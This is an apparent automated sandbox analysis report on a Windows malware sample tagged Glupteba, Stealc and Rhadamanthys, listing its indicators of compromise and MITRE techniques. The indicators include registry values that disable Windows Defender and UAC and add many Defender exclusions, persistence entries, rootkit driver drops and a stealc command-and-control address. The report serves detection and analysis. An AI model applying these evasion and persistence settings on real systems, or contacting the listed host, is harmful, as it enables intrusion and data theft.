glupteba | 0acc5eca8860dc87070e066f3258296228439b35bdb9fbc02185fc861a97475f

Resubmissions

10-12-2023 03:30

231210-d2s39adde2 10

10-12-2023 01:32

231210-bx3e1sbcfq 10

10-12-2023 01:04

231210-be3casbbcn 10

Analysis

max time kernel
149s
max time network
156s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
10-12-2023 01:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

1.1MB
MD5

f0b0a5f64dcfc3cbc85b115928903074
SHA1

d77ad5345ea489673f4e00e892caa81f92aec7c1
SHA256

0acc5eca8860dc87070e066f3258296228439b35bdb9fbc02185fc861a97475f
SHA512

cbee9df095fd51e7b9a8c6ed69bff51b78c34ae6d87c85cd45bb8daa5378689914f29d73ecec0bdc0546167e2acc2e93eb630884a19397c655128b0e65fdccb9
SSDEEP

24576:/JuwYk1FDiCaItlrzZNkSqVLHX4gG6WCepxaKpo:/AzqraItV3CD4gG6Xe1po

Score

10^/10

glupteba rhadamanthys stealc discovery dropper evasion loader persistence ransomware rootkit spyware stealer trojan upx

Malware Config

Extracted

Family

stealc

http://77.91.76.36

Attributes

url_path
/3886d2276f6914c4.php

rc4.plain

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 12 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1164-209-0x0000000002D60000-0x000000000364B000-memory.dmp	family_glupteba
behavioral1/memory/1164-210-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1164-213-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1164-216-0x0000000002D60000-0x000000000364B000-memory.dmp	family_glupteba
behavioral1/memory/2156-218-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/2156-227-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-252-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-348-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-434-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-459-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-477-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba
behavioral1/memory/1600-493-0x0000000000400000-0x0000000000F98000-memory.dmp	family_glupteba

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

AppLaunch.exe

description pid process target process

PID 1076 created 1260 1076 AppLaunch.exe Explorer.EXE
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

file.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file.exe

description	pid	process	target process
PID 1076 created 1260	1076	AppLaunch.exe	Explorer.EXE

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Windows security bypass 2 TTPs 49 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exePP6QxrATY2iSoQm3tJYXaKXj.exereg.exereg.exereg.exereg.exereg.exefile.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\gCqgzsIdJleQZgeU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UxlHwoNwU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\gCqgzsIdJleQZgeU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BJoIZxhjKBkdHsthviR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\sjazJYTbpqVU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\gCqgzsIdJleQZgeU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BJoIZxhjKBkdHsthviR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wuFoGWqRRrUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\gCqgzsIdJleQZgeU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\JuaokLqPZqziZjVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\PP6QxrATY2iSoQm3tJYXaKXj.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\JuaokLqPZqziZjVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\sjazJYTbpqVU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UxlHwoNwU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wuFoGWqRRrUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LHSdqcBuKngoC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LHSdqcBuKngoC = "0"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
1464	bcdedit.exe
896	bcdedit.exe
1288	bcdedit.exe
1812	bcdedit.exe
2420	bcdedit.exe
1692	bcdedit.exe
1392	bcdedit.exe
1556	bcdedit.exe
928	bcdedit.exe
1744	bcdedit.exe
364	bcdedit.exe
1716	bcdedit.exe
2612	bcdedit.exe
296	bcdedit.exe

Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

1968 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1968	netsh.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 6 IoCs

Processes:

AddInProcess32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TH4uwQcxfYPvwBow2ZdGWV5M.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AlcIWR8UbViyWHYfiz2b2jJp.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N8stKwOF2XsLdnkNOH01XfiC.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0KTiQkCRZUiimjLwBcUxxw5f.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BfK8rfBs2xnQOMTeZg01RYzS.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LModCGWSyXZoRj8aKJFjtADh.bat	AddInProcess32.exe

Executes dropped EXE 17 IoCs

Processes:

Q6idzvrRm8yDJWY1oN9oO6fM.exePP6QxrATY2iSoQm3tJYXaKXj.exePP6QxrATY2iSoQm3tJYXaKXj.execsrss.exempCMu2Abv6Jud4QpiyO79VPr.exeePks4tOyb6kFpVaznzEaevXx.exeBroom.exepatch.exeinjector.execonhost.execYUuoqy9hy98xhXuwWJMqFc3.exeInstall.exeInstall.exePRoZObv.exedsefix.exewindefender.exewindefender.exe

pid	process
3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe
1164	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
1600	csrss.exe
2060	mpCMu2Abv6Jud4QpiyO79VPr.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2932	Broom.exe
2160	patch.exe
1700	injector.exe
1964	conhost.exe
2972	cYUuoqy9hy98xhXuwWJMqFc3.exe
1568	Install.exe
2520	Install.exe
904	PRoZObv.exe
2356	dsefix.exe
1572	windefender.exe
1772	windefender.exe

Loads dropped DLL 42 IoCs

Processes:

AddInProcess32.exePP6QxrATY2iSoQm3tJYXaKXj.exempCMu2Abv6Jud4QpiyO79VPr.exeePks4tOyb6kFpVaznzEaevXx.exepatch.execsrss.execYUuoqy9hy98xhXuwWJMqFc3.exeInstall.exeInstall.execonhost.exe

pid	process
2288	AddInProcess32.exe
2288	AddInProcess32.exe
2288	AddInProcess32.exe
2288	AddInProcess32.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2156	PP6QxrATY2iSoQm3tJYXaKXj.exe
2288	AddInProcess32.exe
2060	mpCMu2Abv6Jud4QpiyO79VPr.exe
2060	mpCMu2Abv6Jud4QpiyO79VPr.exe
2288	AddInProcess32.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
840
2160	patch.exe
2160	patch.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2160	patch.exe
2160	patch.exe
2160	patch.exe
1600	csrss.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2288	AddInProcess32.exe
2972	cYUuoqy9hy98xhXuwWJMqFc3.exe
2972	cYUuoqy9hy98xhXuwWJMqFc3.exe
2972	cYUuoqy9hy98xhXuwWJMqFc3.exe
2972	cYUuoqy9hy98xhXuwWJMqFc3.exe
1568	Install.exe
1568	Install.exe
1568	Install.exe
1568	Install.exe
2520	Install.exe
2520	Install.exe
2520	Install.exe
1964	conhost.exe
1964	conhost.exe
2192	ePks4tOyb6kFpVaznzEaevXx.exe
2160	patch.exe
2160	patch.exe
2160	patch.exe
1600	csrss.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\Pictures\mpCMu2Abv6Jud4QpiyO79VPr.exe	upx
C:\Users\Admin\Pictures\mpCMu2Abv6Jud4QpiyO79VPr.exe	upx
behavioral1/memory/2060-240-0x00000000013C0000-0x00000000018E8000-memory.dmp	upx
C:\Users\Admin\Pictures\mpCMu2Abv6Jud4QpiyO79VPr.exe	upx
behavioral1/memory/2060-447-0x00000000013C0000-0x00000000018E8000-memory.dmp	upx

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

PP6QxrATY2iSoQm3tJYXaKXj.exefile.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\PP6QxrATY2iSoQm3tJYXaKXj.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	PP6QxrATY2iSoQm3tJYXaKXj.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

PP6QxrATY2iSoQm3tJYXaKXj.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2952504676-3105837840-1406404655-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2952504676-3105837840-1406404655-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

file.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMon csrss.exe
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMon	csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 8 IoCs

Processes:

powershell.EXEPRoZObv.exereg.exepowershell.EXEpowershell.EXEInstall.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	PRoZObv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	PRoZObv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	reg.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	PRoZObv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

file.exeQ6idzvrRm8yDJWY1oN9oO6fM.exe

description	pid	process	target process
PID 2648 set thread context of 2288	2648	file.exe	AddInProcess32.exe
PID 3008 set thread context of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

PP6QxrATY2iSoQm3tJYXaKXj.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN PP6QxrATY2iSoQm3tJYXaKXj.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	PP6QxrATY2iSoQm3tJYXaKXj.exe

Drops file in Windows directory 6 IoCs

Processes:

csrss.exePP6QxrATY2iSoQm3tJYXaKXj.exemakecab.exeschtasks.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	PP6QxrATY2iSoQm3tJYXaKXj.exe
File created	C:\Windows\rss\csrss.exe	PP6QxrATY2iSoQm3tJYXaKXj.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20231210010441.cab	makecab.exe
File created	C:\Windows\Tasks\bEyYKbsuUozdEyKwWq.job	schtasks.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

2884 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2884	sc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

conhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	conhost.exe

Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

3036 schtasks.exe
3040 schtasks.exe
1952 schtasks.exe
2664 schtasks.exe
1160 schtasks.exe
1636 schtasks.exe
1552 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2752 timeout.exe

pid	process
3036	schtasks.exe
3040	schtasks.exe
1952	schtasks.exe
2664	schtasks.exe
1160	schtasks.exe
1636	schtasks.exe
1552	schtasks.exe

pid	process
2752	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

PP6QxrATY2iSoQm3tJYXaKXj.exepowershell.EXEwscript.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	PP6QxrATY2iSoQm3tJYXaKXj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	PP6QxrATY2iSoQm3tJYXaKXj.exe
